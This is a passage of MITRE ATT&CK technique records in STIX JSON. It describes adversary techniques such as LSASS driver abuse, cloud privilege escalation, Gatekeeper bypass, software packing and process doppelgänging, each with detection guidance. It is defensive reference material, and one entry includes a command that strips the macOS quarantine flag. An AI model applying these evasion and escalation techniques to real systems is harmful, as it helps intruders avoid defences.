subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", "type": "attack-pattern", "created": "2020-10-02T16:27:55.713Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1591.002", "url": "https://attack.mitre.org/techniques/T1591/002"}, {"source_name": "ThreatPost Broadvoice Leak", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:36:58.964Z", "name": "Business Relationships", "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-28T15:30:09.313Z", "name": "Temporary Elevated Cloud Access", "description": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS", "Azure AD", "Office 365", "Google Workspace"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c", "created": "2023-07-10T16:37:15.672Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1548/005", "external_id": "T1548.005"}, {"source_name": "AWS PassRole", "description": "AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html"}, {"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}, {"source_name": "Google Cloud Just in Time Access 2023", "description": "Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.", "url": "https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project"}, {"source_name": "Google Cloud Service Account Authentication Roles", "description": "Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.", "url": "https://cloud.google.com/iam/docs/service-account-permissions"}, {"source_name": "Microsoft Impersonation and EWS in Exchange", "description": "Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.", "url": "https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange"}, {"source_name": "Azure Just in Time Access 2023", "description": "Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.", "url": "https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access"}, {"source_name": "Rhino Security Labs AWS Privilege Escalation", "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"}, {"source_name": "Rhino Google Cloud Privilege Escalation", "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved September 21, 2023.", "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"}, {"source_name": "Hunters Domain Wide Delegation Google Workspace 2023", "description": "Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.", "url": "https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover"}, {"source_name": "Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023", "description": "Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.", "url": "https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:37.205Z", "name": "Video Capture", "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "created": "2017-05-31T21:31:37.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1125", "external_id": "T1125"}, {"source_name": "objective-see 2017 review", "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1144", "url": "https://attack.mitre.org/techniques/T1144"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}, {"url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.", "source_name": "Clearing quarantine attribute"}, {"url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", "source_name": "OceanLotus for OS X"}, {"url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.", "source_name": "Bypassing Gatekeeper"}], "modified": "2020-02-05T16:23:01.683Z", "name": "Gatekeeper Bypass", "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Anti-virus"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Filip Kafka, ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", "type": "attack-pattern", "created": "2017-05-31T21:30:43.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1045", "url": "https://attack.mitre.org/techniques/T1045"}, {"external_id": "CAPEC-570", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/570.html"}, {"url": "http://en.wikipedia.org/wiki/Executable_compression", "description": "Executable compression. (n.d.). Retrieved December 4, 2014.", "source_name": "Wikipedia Exe Compression"}, {"source_name": "ESET FinFisher Jan 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."}], "modified": "2020-02-05T14:18:21.533Z", "name": "Software Packing", "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Signature-based detection", "Anti-virus", "Heuristic detection"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", "type": "attack-pattern", "created": "2020-01-14T17:19:50.978Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.013", "url": "https://attack.mitre.org/techniques/T1055/013"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", "source_name": "Microsoft TxF"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", "source_name": "Microsoft Basic TxF Concepts"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", "source_name": "Microsoft Where to use TxF"}, {"url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"}, {"url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"}, {"url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx", "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"}], "modified": "2021-02-09T15:43:48.848Z", "name": "Process Doppelg\u00e4nging", "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Metadata", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"], "x_mitre_permissions_required": ["Administrator", "SYSTEM", "User"]}, {"modified": "2023-07-28T14:40:54.580Z", "name": "System Network Configuration Discovery", "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations.  Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Command: Command Execution", "Script: Script Execution", "Process: Process Creation", "Process: OS API Execution"], "type": "attack-pattern", "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "created": "2017-05-31T21:30:27.342Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1016", "external_id": "T1016"}, {"source_name": "Mandiant APT41 Global Intrusion ", "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.", "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", "type": "attack-pattern", "created": "2020-06-16T17:23:06.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1578.003", "url": "https://attack.mitre.org/techniques/T1578/003"}, {"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}, {"source_name": "AWS CloudTrail Search", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."}, {"source_name": "Azure Activity Logs", "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."}, {"source_name": "Cloud Audit Logs", "url": "https://cloud.google.com/logging/docs/audit#admin-activity", "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."}], "modified": "2021-03-08T10:33:02.083Z", "name": "Delete Cloud Instance", "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Instance: Instance Metadata", "Instance: Instance Deletion"], "x_mitre_permissions_required": ["User"]}, {"modified": "2022-10-26T18:01:20.520Z", "name": "Code Repositories", "description": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.  \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on 